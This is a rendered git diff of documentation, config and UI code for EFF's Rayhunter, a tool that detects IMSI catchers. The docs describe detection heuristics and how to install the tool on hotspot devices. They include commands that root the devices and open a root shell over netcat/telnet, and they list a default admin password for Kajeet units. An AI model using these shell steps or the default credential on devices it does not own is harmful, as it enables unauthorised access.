<Card <Card entry={current_entry} current={true} server_is_recording={!!current_entry} />
entry={current_entry}
current={true}
server_is_recording={!!current_entry}
{manager}
/>
{:else} {:else}
<div <div
class="bg-red-100 border-red-100 drop-shadow p-4 flex flex-col gap-2 border rounded-md flex-1 justify-between" class="bg-red-100 border-red-100 drop-shadow p-4 flex flex-col gap-2 border rounded-md flex-1 justify-between"
@@ -215,9 +112,9 @@
</svg> </svg>
WARNING: Not Running WARNING: Not Running
</span> </span>
<span> <span
Rayhunter is not currently running and will not detect abnormal behavior! >Rayhunter is not currently running and will not detect abnormal behavior!</span
</span> >
<div class="flex flex-row justify-end mt-2"> <div class="flex flex-row justify-end mt-2">
<RecordingControls server_is_recording={!!current_entry} /> <RecordingControls server_is_recording={!!current_entry} />
</div> </div>
@@ -227,7 +124,7 @@
</div> </div>
<div class="flex flex-col gap-2"> <div class="flex flex-col gap-2">
<span class="text-xl">History</span> <span class="text-xl">History</span>
<ManifestTable {entries} server_is_recording={!!current_entry} {manager} /> <ManifestTable {entries} server_is_recording={!!current_entry} />
</div> </div>
<DeleteAllButton /> <DeleteAllButton />
<ConfigForm /> <ConfigForm />
+1 -5
View File
@@ -22,9 +22,6 @@ ui_level = 1
# 1 = double-tapping the power button starts/stops recordings # 1 = double-tapping the power button starts/stops recordings
key_input_mode = 0 key_input_mode = 0
# If set, attempts to send a notification to the url when a new warning is triggered
# ntfy_url =
# Analyzer Configuration # Analyzer Configuration
# Enable/disable specific IMSI catcher detection heuristics # Enable/disable specific IMSI catcher detection heuristics
# See https://github.com/EFForg/rayhunter/blob/main/doc/heuristics.md for details # See https://github.com/EFForg/rayhunter/blob/main/doc/heuristics.md for details
@@ -32,7 +29,6 @@ key_input_mode = 0
imsi_requested = true imsi_requested = true
connection_redirect_2g_downgrade = true connection_redirect_2g_downgrade = true
lte_sib6_and_7_downgrade = true lte_sib6_and_7_downgrade = true
null_cipher = true null_cipher = true
nas_null_cipher = true nas_null_cipher = true
incomplete_sib = true incomplete_sib = true
test_analyzer = false
+1 -4
View File
@@ -10,16 +10,13 @@
- [Uninstalling](./uninstalling.md) - [Uninstalling](./uninstalling.md)
- [Using Rayhunter](./using-rayhunter.md) - [Using Rayhunter](./using-rayhunter.md)
- [Rayhunter's heuristics](./heuristics.md) - [Rayhunter's heuristics](./heuristics.md)
- [Re-analyzing recordings](./reanalyzing.md)
- [How we analyze a capture](./analyzing-a-capture.md) - [How we analyze a capture](./analyzing-a-capture.md)
- [Supported devices](./supported-devices.md) - [Supported devices](./supported-devices.md)
- [Orbic/Kajeet RC400L](./orbic.md) - [Orbic RC400L](./orbic.md)
- [TP-Link M7350](./tplink-m7350.md) - [TP-Link M7350](./tplink-m7350.md)
- [TP-Link M7310](./tplink-m7310.md) - [TP-Link M7310](./tplink-m7310.md)
- [Tmobile TMOHS1](./tmobile-tmohs1.md) - [Tmobile TMOHS1](./tmobile-tmohs1.md)
- [UZ801](./uz801.md)
- [Wingtech CT2MHS01](./wingtech-ct2mhs01.md) - [Wingtech CT2MHS01](./wingtech-ct2mhs01.md)
- [PinePhone and PinePhone Pro](./pinephone.md) - [PinePhone and PinePhone Pro](./pinephone.md)
- [Moxee Hotspot](./moxee.md)
- [Support, feedback, and community](./support-feedback-community.md) - [Support, feedback, and community](./support-feedback-community.md)
- [Frequently Asked Questions](./faq.md) - [Frequently Asked Questions](./faq.md)
+1 -1
View File
@@ -1,3 +1,3 @@
# How we analyze a capture # How we analyze a capture
Teams of highly trained squirrles. Video coming soon! TODO
-1
View File
@@ -13,7 +13,6 @@ Through web UI you can set:
- **Device Input Mode**, which defines behaviour of built-in power button of the device. *Device Input Mode* could be: - **Device Input Mode**, which defines behaviour of built-in power button of the device. *Device Input Mode* could be:
- *Disable button control*: built-in power button of the device is not used by Rayhunter; - *Disable button control*: built-in power button of the device is not used by Rayhunter;
- *Double-tap power button to start/stop recording*: double clicking on a built-in power button of the device stops and immediatelly restarts the recording. This could be useful if Rayhunter's heuristichs is triggered and you get the red line, and you want to "reset" the past warnings. Normally you can do that through web UI, but sometimes it is easier to double tap on power button. - *Double-tap power button to start/stop recording*: double clicking on a built-in power button of the device stops and immediatelly restarts the recording. This could be useful if Rayhunter's heuristichs is triggered and you get the red line, and you want to "reset" the past warnings. Normally you can do that through web UI, but sometimes it is easier to double tap on power button.
- **ntfy URL for Sending Notifications**, which allows setting a [ntfy](https://ntfy.sh/) URL to which notifications of new detections will be sent. The topic should be unique to your device, e.g., `https://ntfy.sh/rayhunter_notifications_ba9di7ie` or `https://myserver.example.com/rayhunter_notifications_ba9di7ie`. The ntfy Android and iOS apps can then be used to receive notifications. More information can be found in the [ntfy docs](https://docs.ntfy.sh/).
- **Colorblind Mode** enables color blind mode (blue line is shown instead of green line, red line remains red). Please note that this does not cover all types of color blindness, but switching green to blue should be about enough to differentiate the color change for most types of color blindness. - **Colorblind Mode** enables color blind mode (blue line is shown instead of green line, red line remains red). Please note that this does not cover all types of color blindness, but switching green to blue should be about enough to differentiate the color change for most types of color blindness.
- With **Analyzer Heuristic Settings** you can switch on or off built-in [Rayhunter heuristics](heuristics.md). Some heuristics are experimental or can trigger a lot of false positive warnings in some networks (our tests have shown that some heuristics have different behaviour in US or European networks). In that case you can decide whether you would like to have the heuristics that trigger a lot of false positives on or off. Please note that we are constantly improving and adding new heuristics, so new release may reduce false positives in existing heuristics as well. - With **Analyzer Heuristic Settings** you can switch on or off built-in [Rayhunter heuristics](heuristics.md). Some heuristics are experimental or can trigger a lot of false positive warnings in some networks (our tests have shown that some heuristics have different behaviour in US or European networks). In that case you can decide whether you would like to have the heuristics that trigger a lot of false positives on or off. Please note that we are constantly improving and adding new heuristics, so new release may reduce false positives in existing heuristics as well.
+10 -12
View File
@@ -2,40 +2,38 @@
### Do I need an active SIM card to use Rayhunter? ### Do I need an active SIM card to use Rayhunter?
**It Depends**. Operation of Rayhunter does require the insertion of a SIM card into the device, but that sim card does not have to be actively registered with a service plan. If you want to use the device as a hotspot in addition to a research device, or get [notifications](./configuration.md), an active plan would of course be necessary. **It Depends**. Operation of Rayhunter does require the insertion of a SIM card into the device, but whether that SIM card has to be currently active for our tests to work is still under investigation. If you want to use the device as a hotspot in addition to a research device an active plan would of course be necessary, however we have not done enough testing yet to know whether an active subscription is required for detection. If you want to test the device with an inactive SIM card, we would certainly be interested in seeing any data you collect, and especially any runs that trigger an alert!
### How can I test that my device is working?
You can enable the `Test Heuristic` under `Analyzer Heuristic Settings` in the config section on your web dashboard. This will cause an alert to trigger every time your device sees a cell tower, you might need to reboot your device or move around a bit to get this one to trigger, but it will be very noisey once it does. People have also tested it by building IMSI catchers at home, but we don't reccomend that, since it violates FCC regulations and will probably upset your neighbors.
<a name="red"></a> <a name="red"></a>
### Help, Rayhunter's line is red/orange/yellow/dotted/dashed! What should I do? ### Help, Rayhunter's line is red! What should I do?
Unfortunately, the circumstances that might lead to a positive cell site simulator (CSS) signal are quite varied, so we don't have a universal recommendation for how to deal with the a positive signal. Depending on your circumstances and threat model, you may want to turn off your phone until you are out of the area and tell your friends to do the same! Unfortunately, the circumstances that might lead to a positive cell site simulator (CSS) signal are quite varied, so we don't have a universal recommendation for how to deal with the a positive signal. Depending on your circumstances and threat model, you may want to turn off your phone until you are out of the area (or put it on airplane mode) and tell your friends to do the same!
If you've received a Rayhunter warning and would like to help us with our research, please send your Rayhunter data captures (Zip file downloaded from the web interface) to us at our [Signal](https://signal.org/) username [**ElectronicFrontierFoundation.90**](https://signal.me/#eu/HZbPPED5LyMkbTxJsG2PtWc2TXxPUR1OxBMcJGLOPeeCDGPuaTpOi5cfGRY6RrGf) with the following information: capture date, capture location, device, device model, and Rayhunter version. If you're unfamiliar with Signal, feel free to check out our [Security Self Defense guide on it](https://ssd.eff.org/module/how-to-use-signal). If you've received a Rayhunter warning and would like to help us with our research, please send your Rayhunter data captures (QMDL and PCAP logs) to us at our [Signal](https://signal.org/) username [**ElectronicFrontierFoundation.90**](https://signal.me/#eu/HZbPPED5LyMkbTxJsG2PtWc2TXxPUR1OxBMcJGLOPeeCDGPuaTpOi5cfGRY6RrGf) with the following information: capture date, capture location, device, device model, and Rayhunter version. If you're unfamiliar with Signal, feel free to check out our [Security Self Defense guide on it](https://ssd.eff.org/module/how-to-use-signal).
Please note that this file may contain sensitive information such as your IMSI and the unique IDs of cell towers you were near which could be used to ascertain your location at the time. Please note that this file may contain sensitive information such as your IMSI and the unique IDs of cell towers you were near which could be used to ascertain your location at the time.
### Should I get a locked or unlocked orbic device? What is the difference? ### Should I get a locked or unlocked orbic device? What is the difference?
If you want to use a non-Verizon SIM card you will probably need an unlocked device. But it's not clear which devices are locked nor how to unlock them, we welcome any experimentation and information regarding the use of unlocked devices. So far most verizon branded orbic devices we have encountered are actually unlocked. If you want to use a non-Verizon SIM card you will probably need an unlocked device. But it's not clear how locked the locked devices are nor how to unlock them, we welcome any experimentation and information regarding the use of unlocked devices.
### How do I re-enable USB tethering after installing Rayhunter? ### How do I re-enable USB tethering after installing Rayhunter?
Make sure USB tethering is also enabled in the Orbic's UI, and then run the following commands: Make sure USB tethering is also enabled in the Orbic's UI, and then run the following commands:
```sh ```sh
./installer util shell "echo 9 > /usrdata/mode.cfg" installer util shell "echo 9 > /usrdata/mode.cfg"
./installer util shell reboot installer util shell reboot
``` ```
To disable tethering again: To disable tethering again:
```sh ```sh
./installer util shell "echo 3 > /usrdata/mode.cfg" installer util shell "echo 3 > /usrdata/mode.cfg"
./installer util shell reboot installer util shell reboot
``` ```
See `/data/usb/boot_hsusb_composition` for a list of USB modes and Android USB gadget settings. See `/data/usb/boot_hsusb_composition` for a list of USB modes and Android USB gadget settings.
+6 -72
View File
@@ -4,75 +4,9 @@ Rayhunter includes several analyzers to detect potential IMSI catcher activity.
## Available Analyzers ## Available Analyzers
### IMSI Requested (v3) - **IMSI Requested**: Tests whether the eNodeB sends an IMSI Identity Request NAS message. This can sometimes happen under normal circumstances when the network doesn't already have a TMSI (Temporary Mobile Subscriber ID or GUTI in 5G terminology) for your device. This most often happens when you first turn the device on, especially after it has been off for a long time or if you are in an area where there is absolutely no connection to your service provider. This can also happen if you leave your device on while on an airplane and it suddenly connects to a new tower after being disconnected for a long time. However, if you get this warning at a time when you have been steadily connected to towers and the device has been on for a while it can be treated as suspcious.
- **Connection Release/Redirected Carrier 2G Downgrade**: Tests if a cell releases our connection and redirects us to a 2G cell. This heuristic mostly makes sense in the US or other countries where there are no more operating 2G base stations. In countries where 2G is still in service (such as most of EU), this heuristics may trigger a lot of false positives, so you may want to disable it. However it should be noted that many IMSI Catchers operate in a such way that they downgrade connection to 2G and also that this heuristics has been vastly improved to reduce false positive warnings. See [Wikipedia page on past 2G networks](https://en.wikipedia.org/wiki/2G#Past_2G_networks) for information about your country.
This analyser tests whether the eNodeB sends an IMSI or IMEI Identity Request NAS message under suspicous . - **LTE SIB6/7 Downgrade**: Tests for LTE cells broadcasting a SIB type 6 and 7 messages which include 2G/3G frequencies with higher priorities.
- **Null Cipher**: Tests whether the cell suggests using a null cipher (EEA0) in the RRC layer (that means that encryption between your mobile device and base staation is turned off).
Mobile networks primarily request IMSI or IMEI from a mobile device during initial network attachment or when the network cannot identify the mobile device by its temporary identification (TMSI - *Temporary Mobile Subscriber Identity* or GUTI - *Globally Unique Temporary Identifier* in 4G/5G terminology). - **NAS Null Cipher**: Tests whether the security mode command at the NAS layer suggests using a null cipher (EEA0). This would usually only happen after a UE has successfully authenticated with the MME but still it shouldn't happen at all. This could be indicative of an attack though using SS7 to get key material from the HLR of the UE for a succesful authentication. It could also indicate an IMSI catcher which is connected to the mobile network MME and HLR through cooperation between government and telecom provider. Or it could be a false positive if the telecom provider is intending to use null ciphers (if encryption is illegal or they have some misconfiguration of the network), however this should be very rare case.
- **Incomplete SIB**: Tests whether the SIB1 message contains a complete SIB chain (SIB3, SIB5, etc.) A legitimate SIB1 mesage should contain timing information for at least 2 additional sibs (sib3, 4, and 5 being the most common) but a fake base station will often not bother to send additional SIBs beyond 1 and 2. On its own this might just be a misconfigured base station (though we have only seen it in the wild under suspicious circumstances) but combined with other heuristics such as **ISMI Requested** detection it should be considered a strong indicator of malicious activity.
IMSI request therefore usually happens when you first turn the device on especially after it has been off for a long time. Another possibility is, that you reboot your mobile device and your temporary ID expired. Sometimes temporary identification can expire if you have been in an area where there is absolutely no connection to your service provider or after you left your device on an airplane mode and then reconnect to the network (especially being disconnected for a long time). IMSI could also be requested when you connect to a new network (for instance for roaming), when you swap she SIM card or when your device moves to a new *Tracking Area* or *Location Area* and the network can not map the temporary identification to your device. IMSI number can also be requested after core network reboot.
It should also be noted that the network periodically reassigns your device new temporary identification to enhance security and avoid tracking, but in that cases usually does not request IMSI.
During these events the phone will typically go on to authenticate that the network is legitimate and then establish service with the network it is connected to.
What we consider suspicious is the following chain of events:
* Phone connects to a new tower.
* Tower asks for phones identity (IMEI or IMSI.)
* Authentication does *NOT* happen.
* Tower requests phoen to disconnect.
Looking for this chain of events is much less prone to false positives than naively looking for any time the IMSI/IMEI is sent. We do still sometimes get false positives when users are in an airplane that is coming in for a landing however. This is likely do to having been disconnected for a while and then being over towers that are not able to route to your home network, but we are still researching.
This is the attack used by commercial IMSI catchers used by law enforcement.
This heuristic will also alert you if any of the following happen:
* Identity is requested after authentication.
* Identity is requested without your phone connecting to the tower.
* Identity is requested and then authentication doesn't happen shortly thereafter.
This heuristic will also issue a notification every time your identity is sent to the network under non suspicious circumstances. This is for diagnostic purposes.
### Connection Release/Redirected Carrier 2G Downgrade
This analyser tests if a base station releases your device's connection and redirects your device to a 2G base station. This heuristic is useful, because some IMSI catchers may operate in a such way that they downgrade connection to 2G where they can intercept the communication (by performing man-in-the-middle attack).
### LTE SIB6/7 Downgrade
This analyser tests if LTE base station is broadcasting a SIB type 6 and 7 messages which include 2G/3G frequencies with higher priorities.
SIB (*System Information Block*) Type 6 and 7 are specific types of broadcast messages sent by the base station (eNodeB in 4G networks) to mobile devices. They contain essential radio-related configuration parameters to help mobile device perform cell reselection.
This attack exploits the fact that SIB broadcast messages are not encrypted or authenticated. This allows them to pretend to be a legitimate cell by broadcasting fake system information in order to force mobile devices to downgrade from more secure 4G (LTE) to less secure 2G (GSM) network and then steal IMSI and/or perform man-in-the-middle attack. That is why this is also called a downgrade attack.
SIB6 is used for cell reselecion to CDMA2000 systems which are not supported by many modern mobile phones, and SIB7 Provides the mobile device with information to perform cell reselection to GSM/EDGE networks. Therefore SIB6 messages are quite rare, while malformed SIB7 messages are much more frequent in practice.
This heuristic is the most useful in the United States or other countries where there are no more operating 2G base stations. See [Wikipedia page on past 2G networks](https://en.wikipedia.org/wiki/2G#Past_2G_networks) for information about your country. In countries where 2G is still in service (such as most of EU), this heuristics may trigger false positives. In that case you should consider disabling it. However this heuristics has been vastly improved to reduce false positive warnings and new tests in European networks show that false positives are vastly reduced.
### Null Cipher
This analyser tests whether the cell suggests using a null cipher (EEA0) in the RRC layer. That means that encryption between your mobile device and base station is turned off.
Normally this should never happen, because null cipher is used almost exclusively for testing and debugging in labs or in controlled environments. Sometimes null cipher is used if encryption negotiation fails or isnt supported (however in most networks this should not be the case). Also, some regulations allow unencrypted communications in **specific** emergency cases.
The general rule is, that null cipher should never be used in commercial deployments, except in very controlled conditions (e.g., test labs) or in a very specific regulatory-approved use cases.
On the other hand, IMSI catchers often use null cipher to avoid setting up secure contexts (because they lack valid keys) and/or to trick mobile device into using unencrypted links (which makes eavesdropping easier).
### NAS Null Cipher
This analyser tests whether the security mode command at the NAS layer suggests using a null cipher (EEA0). This would usually only happen after a mobile device has successfully authenticated with the MME (*Mobility Management Entity* - core network component that handles signaling and control) but still it shouldn't happen at all. This could be indicative of an attack though using SS7 (*Signaling System 7* - a set of telecommunication protocols used to set up and manage calls and other services) to get key material from the HLR (*Home Location Register* - a database in mobile telecommunications networks that stores subscriber information) of the mobile phone for a successful authentication.
It could also indicate an IMSI catcher which is connected to the mobile network MME and HLR through cooperation between government and telecom provider. Or it could be a false positive if the telecom provider is intending to use null ciphers (if encryption is illegal in some country, or they have some misconfiguration of the network), however this should be very rare case.
### Incomplete SIB
This analyser tests whether the SIB1 message contains a complete SIB chain (SIB3, SIB5, etc.). A legitimate SIB1 message should contain timing information for at least 2 additional SIBs (SIB3, 4, and 5 being the most common) but a fake base station will often not bother to send additional SIBs beyond 1 and 2 (i. e. some IMSI catchers send just SIB1 and *one additional* SIB).
On its own this might just be a misconfigured base station (though we have only seen it in the wild under suspicious circumstances) but combined with other heuristics such as **IMSI Requested** detection it should be considered as a strong indicator of malicious activity.
### Test Analyzer
This analyzer is great for testing if your Rayhunter installation works. It will alert every time a new tower is seen (specifically every time a tower broadcasts a SIB1 message.) It is designed to be very noisey so we do not reccomend leaving it on but if this alerts it means your Rayhunter device is working!
+4 -11
View File
@@ -4,20 +4,13 @@ Windows support in Rayhunter's installer is a work-in-progress. Depending on the
## TP-Link ## TP-Link
1. Insert a FAT-formatted SD card. This will be used to store all recordings. 1. Connect the device via WiFi or USB Tethering -- you should be able to view the TP-Link admin page on <http://192.168.0.1>.
2. Connect the device via WiFi or USB Tethering -- you should be able to view the TP-Link admin page on <http://192.168.0.1>. 2. Download the latest release (must be at least 0.3.0) for windows-x86_64, and unpack the zipfile.
3. Download the latest release (must be at least 0.3.0) for windows-x86_64, and unpack the zipfile. 3. Open PowerShell or CMD in that extracted folder, the installer: `./installer tplink`
4. Open PowerShell or CMD in that extracted folder, the installer: `./installer tplink` 4. Follow the instructions on the screen, if there are any.
5. Follow the instructions on the screen, if there are any.
## Orbic ## Orbic
<div class=warning><strong>
[The Windows USB installer is known to be buggy](https://github.com/EFForg/rayhunter/issues/366). We strongly reccomend using the [Network-based installer](./orbic.md#the-network-installer).
</strong></div>
1. Connect the device to your computer using the provided USB cable. 1. Connect the device to your computer using the provided USB cable.
1. Install the [Zadig WinUSB driver installer](https://zadig.akeo.ie/). 1. Install the [Zadig WinUSB driver installer](https://zadig.akeo.ie/).
1. Open Zadig, click options->show all devices 1. Open Zadig, click options->show all devices
+7 -10
View File
@@ -2,8 +2,7 @@
Make sure you've got one of Rayhunter's [supported devices](./supported-devices.md). These instructions have only been tested on macOS and Ubuntu 24.04. If they fail, you will need to [install Rayhunter from source](./installing-from-source.md). Make sure you've got one of Rayhunter's [supported devices](./supported-devices.md). These instructions have only been tested on macOS and Ubuntu 24.04. If they fail, you will need to [install Rayhunter from source](./installing-from-source.md).
1. For the TP-Link only, insert a FAT-formatted SD card. This will be used to store all recordings. 1. Download the latest `rayhunter-vX.X.X-PLATFORM.zip` from the [Rayhunter releases page](https://github.com/EFForg/rayhunter/releases) for your platform:
2. Download the latest `rayhunter-vX.X.X-PLATFORM.zip` from the [Rayhunter releases page](https://github.com/EFForg/rayhunter/releases) for your platform:
- for Linux on x64 architecture: `linux-x64` - for Linux on x64 architecture: `linux-x64`
- for Linux on ARM64 architecture: `linux-aarch64` - for Linux on ARM64 architecture: `linux-aarch64`
- for Linux on armv7/v8 (32-bit) architecture: `linux-armv7` - for Linux on armv7/v8 (32-bit) architecture: `linux-armv7`
@@ -11,20 +10,19 @@ Make sure you've got one of Rayhunter's [supported devices](./supported-devices.
- for MacOS on ARM (M1/M2 etc.) architecture: `macos-arm` - for MacOS on ARM (M1/M2 etc.) architecture: `macos-arm`
- for Windows: `windows-x86_64` - for Windows: `windows-x86_64`
3. Decompress the `rayhunter-vX.X.X-PLATFORM.zip` archive. Open the terminal and navigate to the folder. (Be sure to replace X.X.X with the correct version number!) 2. Decompress the `rayhunter-vX.X.X-PLATFORM.zip` archive. Open the terminal and navigate to the folder. (Be sure to replace X.X.X with the correct version number!)
```bash ```bash
unzip ~/Downloads/rayhunter-vX.X.X-PLATFORM.zip unzip ~/Downloads/rayhunter-vX.X.X-PLATFORM.zip
cd ~/Downloads/rayhunter-vX.X.X-PLATFORM cd ~/Downloads/rayhunter-vX.X.X-PLATFORM
``` ```
4. Turn on your device by holding the power button on the front. 3. Turn on your device by holding the power button on the front.
* For the Orbic, connect the device using a USB-C cable. * For the Orbic, connect the device using a USB-C cable.
* Or connect to the network if using the network based installer, this is especially reccomended on Windows.
* For TP-Link, connect to its network using either WiFi or USB Tethering. * For TP-Link, connect to its network using either WiFi or USB Tethering.
5. Run the installer: 4. Run the installer:
```bash ```bash
# On MacOS, you must first remove the quarantine bit # On MacOS, you must first remove the quarantine bit
@@ -33,19 +31,18 @@ Make sure you've got one of Rayhunter's [supported devices](./supported-devices.
Then run the installer: Then run the installer:
```bash ```bash
./installer orbic ./installer orbic
# or: ./installer [orbic-network|tplink|tmobile|uz801|pinephone|wingtech] # or: ./installer tplink
# or: ./installer wingtech
``` ```
The device will restart multiple times over the next few minutes. The device will restart multiple times over the next few minutes.
You will know it is done when you see terminal output that says `Testing Rayhunter... done` You will know it is done when you see terminal output that says `Testing Rayhunter... done`
6. Rayhunter should now be running! You can verify this by [viewing Rayhunter's web UI](./using-rayhunter.md). You should also see a green line flash along the top of top the display on the device. 5. Rayhunter should now be running! You can verify this by [viewing Rayhunter's web UI](./using-rayhunter.md). You should also see a green line flash along the top of top the display on the device.
## Troubleshooting ## Troubleshooting
* You can test your device by enabling the test heuristic. This will be very noisy and fire an alert every time you see a new tower. Be sure to turn it off when you are done testing.
* On MacOS if you encounter an error that says "No Orbic device found," it may because you have the "Allow accessories to connect" security setting set to "Ask for approval." You may need to temporarily change it to "Always" for the script to run. Make sure to change it back to a more secure setting when you're done. * On MacOS if you encounter an error that says "No Orbic device found," it may because you have the "Allow accessories to connect" security setting set to "Ask for approval." You may need to temporarily change it to "Always" for the script to run. Make sure to change it back to a more secure setting when you're done.
```bash ```bash
+1 -5
View File
@@ -36,14 +36,10 @@ rustup target add x86_64-pc-windows-gnu
Now you can root your device and install Rayhunter by running: Now you can root your device and install Rayhunter by running:
```sh ```sh
# Profile can be changed to 'firmware-devel' when building for development. cargo build --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --profile firmware --no-default-features --features orbic
# Build time will decrease at the expense of binary size.
cargo build --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --profile firmware
cargo build --bin rootshell --target armv7-unknown-linux-musleabihf --profile firmware cargo build --bin rootshell --target armv7-unknown-linux-musleabihf --profile firmware
# Replace 'orbic' with your device type if different.
# A list possible values can be found with 'cargo run --bin installer help'.
cargo run --bin installer orbic cargo run --bin installer orbic
``` ```
+3 -6
View File
@@ -2,14 +2,11 @@
<img style="display: block; margin: 0 auto" alt="Rayhunter Logo - An Orca taking a bite out of a cellular signal bar" src="https://www.eff.org/files/styles/media_browser_preview/public/banner_library/rayhunter-banner.png" /> <img style="display: block; margin: 0 auto" alt="Rayhunter Logo - An Orca taking a bite out of a cellular signal bar" src="https://www.eff.org/files/styles/media_browser_preview/public/banner_library/rayhunter-banner.png" />
Rayhunter is a project for detecting IMSI catchers, also known as cell-site simulators or stingrays. It was first designed to run on a cheap mobile hotspot called the Orbic RC400L, but thanks to community efforts can [support some other devices as well](./supported-devices.md). Rayhunter is a project for detecting IMSI catchers, also known as cell-site simulators or stingrays. It's designed to run on a cheap mobile hotspot called the Orbic RC400L, but thanks to community efforts can [support some other devices as well](./supported-devices.md).
It's also designed to be as easy to install and use as possible, regardless of your level of technical skills. This guide should provide you all you need to acquire a compatible device, install Rayhunter, and start catching IMSI catchers. It's also designed to be as easy to install and use as possible, regardless of your level of technical skills. This guide should provide you all you need to acquire a compatible device, install Rayhunter, and start catching IMSI catchers.
&rarr; Check out the [installation guide](./installation.md) to get started. To learn more about the aim of the project, and about IMSI catchers in general, please check out our [introductory blog post](https://www.eff.org/deeplinks/2025/03/meet-rayhunter-new-open-source-tool-eff-detect-cellular-spying). Otherwise, check out the [installation guide](./installation.md) to get started.
&rarr; To learn more about the aim of the project, and about IMSI catchers in general, please check out our [introductory blog post](https://www.eff.org/deeplinks/2025/03/meet-rayhunter-new-open-source-tool-eff-detect-cellular-spying).
&rarr; For discussion, help, or to join the mattermost channel and get involved with the project and community check out the [many ways listed here](./support-feedback-community.md)!
**LEGAL DISCLAIMER:** Use this program at your own risk. We believe running this program does not currently violate any laws or regulations in the United States. However, we are not responsible for civil or criminal liability resulting from the use of this software. If you are located outside of the US please consult with an attorney in your country to help you assess the legal risks of running this program. **LEGAL DISCLAIMER:** Use this program at your own risk. We believe running this program does not currently violate any laws or regulations in the United States. However, we are not responsible for civil or criminal liability resulting from the use of this software. If you are located outside of the US please consult with an attorney in your country to help you assess the legal risks of running this program.
-43
View File
@@ -1,43 +0,0 @@
# KonnectONE Moxee Hotspot (K779HSDL)
Supported in Rayhunter since version 0.6.0.
The Moxee Hotspot is a device very similar to the Orbic RC400L. It seems to be
primarily for the US market.
- [KonnectONE product page](https://www.konnectone.com/specs-hotspot)
- [Moxee product page](https://www.moxee.com/hotspot)
## Supported bands
According to [FCC ID 2APQU-K779HSDL](https://fcc.report/FCC-ID/2APQU-K779HSDL), the device supports the following LTE bands:
| Band | Frequency |
|------|-------------------------|
| 2 | 1900 MHz (PCS) |
| 4 | 1700/2100 MHz (AWS-1) |
| 5 | 850 MHz (CLR) |
| 12 | 700 MHz (Lower SMH) |
| 13 | 700 MHz (Upper SMH) |
| 25 | 1900 MHz (Extended PCS) |
| 26 | 850 MHz (Extended) |
| 41 | 2500 MHz (TDD) |
| 66 | 1700/2100 MHz (E-AWS) |
| 71 | 600 MHz |
## Installation
Connect to the hotspot's network using WiFi or USB tethering and run:
```sh
./installer orbic-network
```
The installation will ask you to log into the admin UI using a custom URL. The
password for that is under the battery.
## Obtaining a shell
```sh
./installer util orbic-start-telnet
```
+1 -22
View File
@@ -1,9 +1,7 @@
# Orbic/Kajeet RC400L # Orbic RC400L
The Orbic RC400L is an inexpensive LTE modem primarily designed for the US market, and the original device for which Rayhunter is developed. The Orbic RC400L is an inexpensive LTE modem primarily designed for the US market, and the original device for which Rayhunter is developed.
It is also sometimes sold under the brand Kajeet RC400L. This is the exact same hardware and can be treated the same.
You can buy an Orbic [using bezos You can buy an Orbic [using bezos
bucks](https://www.amazon.com/Orbic-Verizon-Hotspot-Connect-Enabled/dp/B08N3CHC4Y), bucks](https://www.amazon.com/Orbic-Verizon-Hotspot-Connect-Enabled/dp/B08N3CHC4Y),
or on [eBay](https://www.ebay.com/sch/i.html?_nkw=orbic+rc400l). or on [eBay](https://www.ebay.com/sch/i.html?_nkw=orbic+rc400l).
@@ -21,27 +19,8 @@ or on [eBay](https://www.ebay.com/sch/i.html?_nkw=orbic+rc400l).
| Wifi 5Ghz | a/ac/ax | | Wifi 5Ghz | a/ac/ax |
| Wifi 6 | 🮱 | | Wifi 6 | 🮱 |
## The Network Installer
Since Rayhunter 0.6.0 there is an alternative, experimental installation
procedure at `./installer orbic-network` that is supposed to eventually replace
`./installer orbic`. It does not require any USB driver installation and works
identically on Windows, Mac and Linux. From our testing it works much more
reliably on Windows than `./installer orbic` does.
The drawback is that the device's admin password is required.
1. Connect to the Orbic's network via WiFi or USB tethering
2. Run `./installer orbic-network`
3. The installer will ask you to log into the admin UI on `localhost:4000`. The password for that is the same as the WiFi password.
4. As soon as you're logged in, the installer will continue and reboot the device.
*note*: On Kajeet devices the default admin password is `$m@rt$p0tc0nf!g`, on most other orbic devices the default admin password is the same as the wifi password. If the password has been changed you can reset it by pressing the button under the back case until the unit restarts.
## Obtaining a shell ## Obtaining a shell
After running through the installation procedure, you can obtain a root shell After running through the installation procedure, you can obtain a root shell
by running `adb shell` or `./installer util shell`. Then, inside of that shell by running `adb shell` or `./installer util shell`. Then, inside of that shell
you can run `/bin/rootshell` to obtain "fakeroot." you can run `/bin/rootshell` to obtain "fakeroot."
If you are using the network installer, there will not be a rootshell and ADB will not be enabled by the installer. Instead you can use `./installer util orbic-start-telnet` and connect to the hotspot using `nc 192.168.1.1 23`. On Windows you might not have `nc` and will have to use WSL for that.
+2 -4
View File
@@ -35,14 +35,12 @@ The modem is fully capable of running Rayhunter, but lacks both a screen and a n
Note that the Quectel EG25-G does not support LTE band 48 (CBRS 3500MHz), used in the US for unlicensed 4G/5G connectivity. Note that the Quectel EG25-G does not support LTE band 48 (CBRS 3500MHz), used in the US for unlicensed 4G/5G connectivity.
## Installing ## Installing
Download and extract the installer *on a shell on the PinePhone itself*. Unlike other Rayhunter installers, this has to be run on the device itself. Then run:
```sh ```sh
./installer pinephone ./installer pinephone
``` ```
## Accessing Rayhunter ## Accessing rayhunter
Because the modem does not have its own display or network interface, Rayhunter is only accessible on the pinephone by forwarding tcp over adb. Because the modem does not have its own display or network interface, rayhunter is only accessible on the pinephone by forwarding tcp over adb.
```sh ```sh
adb forward tcp:8080 tcp:8080 adb forward tcp:8080 tcp:8080
Binary file not shown.

Before

Width:  |  Height:  |  Size: 48 KiB

After

Width:  |  Height:  |  Size: 50 KiB

-45
View File
@@ -1,45 +0,0 @@
# Re-analyzing recordings
Every once in a while, Rayhunter refines its heuristics to detect more kinds of
suspicious behavior, and to reduce noise from incorrect alerts.
This means that your old green recordings may actually contain data that is now
deemed suspicious, and also old red recordings may become green.
You can re-analyze any old recording inside of Rayhunter by clicking on "N
warnings" to expand details, then clicking the "re-analyze" button.
## Analyzing recordings on Desktop
If you have a PCAP or QMDL file but no rayhunter, you can analyze it on desktop
using the `rayhunter-check` CLI tool. That tool contains the same heuristics as
Rayhunter and will also work on traffic data captured with other tools, such as
QCSuper.
Since, 0.6.1, `rayhunter-check` is included in the release zipfile.
You can build `rayhunter-check` from source with the following command:
`cargo build --bin rayhunter-check`
## Usage
```sh
rayhunter-check [OPTIONS] --path <PATH>
Options:
-p, --path <PATH> Path to the PCAP, or QMDL file. If given a directory will
recursively scan all pcap, qmdl, and subdirectories
